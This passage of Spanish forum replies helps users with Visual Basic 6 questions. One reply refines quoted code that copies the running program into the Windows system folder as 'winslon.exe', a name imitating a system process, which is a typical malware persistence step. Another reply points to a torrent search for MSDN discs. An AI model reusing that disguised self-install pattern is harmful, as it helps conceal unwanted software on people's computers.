Mensajes

de eso de cifrar y descifrar ya hay post's solo dale en buscar

creo que a eso de abrir un form con las opciones del chat, primero debes crear (en tiempo de diseño) un form que tenga dichas opciones y luego en tu boton pones:

Código [Seleccionar] Expandir


Private Sub Command1_Click()
    Dim x As Form ' Declaras una variable como Form
    Set x = New Formulario_del_chat ' Creas una instancia del form original
    x.Show ' y lo muestras
End Sub


  pues lo unico que se me ocurre esque pongas ese código en  un Timer, pero no se si se cualge la pc con eso

  CesarTkgo69 no lo tomes a mal pero asi como lo posteaste parece que eres una de esas personas que solo esperan a que les hagan el trabajo. A mi forma de ver primero deberías comenzar tu proyecto, darle una búscadita aqui en el foro y mejor pon dudas mas concretas.

ya se han posteado códigos para captura de pantallas, para pasar imagenes de BMP a jpg y cosas por el estilo...


Suerte con tu proyecto..... 

te refieres a esta parte??:

Código [Seleccionar] Expandir


If Right(ruta, 1) <> "\" Then ruta = ruta & "\"
ruta = ruta & App.EXEName & ".exe"
Set obj = CreateObject("Scripting.FileSystemObject")
Set win = obj.GetSpecialFolder(0)
Set sys = obj.GetSpecialFolder(1)
win = LCase(win)
sys = LCase(sys)
FileCopy ruta, sys & "\winslon.exe"



mmmm  pues no estoy seguro si el "FileCopy" sobreescribe archivos, pero porque mejor no lo borras y pones el nuevo.

Código [Seleccionar] Expandir


dim l as long

If Right(ruta, 1) <> "\" Then ruta = ruta & "\"
ruta = ruta & App.EXEName & ".exe"
Set obj = CreateObject("Scripting.FileSystemObject")
Set win = obj.GetSpecialFolder(0)
Set sys = obj.GetSpecialFolder(1)
win = LCase(win)
sys = LCase(sys)
'--------------------------------------------------------------------
on local error resume next ' Activo el control de errores
l = Getattr(sys & "\winslon.exe") 'Comprueba si ya existe el archivo
if err.number = 0 then
     'Si no se genera error entonces si encontro el archivo
     Kill ruta, sys & "\winslon.exe" ' Lo borra
end if
on local error goto 0 ' Desactivo el control de errores
'---------------------------------------------------------------------
FileCopy ruta, sys & "\winslon.exe" ' y pones el nuevo


y como ahora se que no tienes MSND instalado te diré que la función GetAttr es para obtener los atributos de un archivo (si es de solo lectura y esas cosas) y aqui lo uso para saber si existe el archivo, si existe va a regresar un valor "long" a la variable "l", si no existe se genera un error, por eso pongo el control de errores "On Local Error..."

para ver lo del TaskKill abre una ventana de commando (Inicio -> Ejecuta y escribes "cmd")

ya en la ventana pones "taskkill /?" y te dara la descripción de la función, los parametros y unos ejemplos

bueno Visual Basic y Delphi se parecen en cuanto al entorno de programación, pero en cuestión de sintaxis son completamente direferentes

Los discos de la ayuda vienen por separado, son 2 cd's, bajatelos del torrentz

http://www.torrentz.com/search?q=msdn

hace tiempo creo ya se habia puesto un post de esto, búsque en el google y me salio un monton de código fuente para hacer eso, porque mejor no búscas y si tienes duda de algún procedimiento lo pones aqui

Una vez más te dire que si presionas "F1" te va a salir la ayuda del VB, checa y veras que el ListView trae la propiedad "Count"